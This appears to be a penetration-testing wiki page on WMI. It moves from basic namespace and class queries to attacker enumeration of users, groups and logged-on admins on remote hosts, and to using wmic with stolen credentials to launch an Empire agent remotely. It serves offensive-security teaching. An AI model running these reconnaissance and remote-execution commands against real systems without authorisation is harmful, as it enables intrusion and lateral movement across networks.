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# How Does it works Wmi allows to open process in hosts where you know username/\(password/Hash\). Then, Wmiexec uses wmi to execute each command that is asked to execute \(this is why Wmicexec gives you semi-interactive shell\). **dcomexec.py:** This script gives a semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints \(ShellBrowserWindow DCOM object\). Currently, it supports MMC20. Application, Shell Windows and Shell Browser Window objects. \(from [here](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)\) # WMI Basics ## Namespace WMI is divided into a directory-style hierarchy, the \root container, with other directories under \root. These "directory paths" are called namespaces. List namespaces: ```bash #Get Root namespaces gwmi -namespace "root" -Class "__Namespace" | Select Name #List all namespaces (you may need administrator to list all of them) Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace #List namespaces inside "root\cimv2" Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace ``` List classes of a namespace with: ```bash gwmwi -List -Recurse #If no namespace is specified, by default is used: "root\cimv2" gwmi -Namespace "root/microsoft" -List -Recurse ``` ## **Classes** The WMI class name eg: win32\_process is a starting point for any WMI action. We always need to know a Class Name and the Namespace where it is located. List classes starting with `win32`: ```bash Get-WmiObject -Recurse -List -class win32* | more #If no namespace is specified, by default is used: "root\cimv2" gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*" ``` Call a class: ```bash #When you don't specify a namespaces by default is "root/cimv2" Get-WmiObject -Class win32_share Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus ``` ## Methods WMI classes have one or more functions that can be executed. These functions are called methods. ```bash #Load a class using [wmiclass], leist methods and call one $c = [wmiclass]"win32_share" $c.methods #Find information about the class in https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-share $c.Create("c:\share\path","name",0,$null,"My Description") #If returned value is "0", then it was successfully executed ``` ```bash #List methods Get-WmiObject -Query 'Select * From Meta_Class WHERE __Class LIKE "win32%"' | Where-Object { $_.PSBase.Methods } | Select-Object Name, Methods #Call create method from win32_share class Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0) ``` # WMI Enumeration ## Check WMI service This how you can check if WMI service is running: ```bash #Check if WMI service is running Get-Service Winmgmt Status Name DisplayName ------ ---- ----------- Running Winmgmt Windows Management Instrumentation #From CMD net start | findstr "Instrumentation" ``` ## System Information ```bash Get-WmiObject -ClassName win32_operatingsystem | select * | more ``` ## Process Information ```bash Get-WmiObject win32_process | Select Name, Processid ``` From an attacker's perspective, WMI can be very valuable in enumerating sensitive information about a system or the domain. ```text wmic computerystem list full /format:list wmic process list /format:list wmic ntdomain list /format:list wmic useraccount list /format:list wmic group list /format:list wmic sysaccount list /format:list ``` ```bash Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred ``` # **Manual Remote WMI Querying** For example, here's a very stealthy way to discover local admins on a remote machine \(note that domain is the computer name\): ```bash wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"") ``` Another useful oneliner is to see who is logged on to a machine \(for when you're hunting admins\): ```text wmic /node:ordws01 path win32_loggedonuser get antecedent ``` `wmic` can even read nodes from a text file and execute the command on all of them. If you have a text file of workstations: ```text wmic /node:@workstations.txt path win32_loggedonuser get antecedent ``` **We'll remotely create a process over WMI to execute a Empire agent:** ```bash wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**" ``` We see it executed successfully \(ReturnValue = 0\). And a second later our Empire listener catches it. Note the process ID is the same as WMI returned. All this information was extracted from here: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
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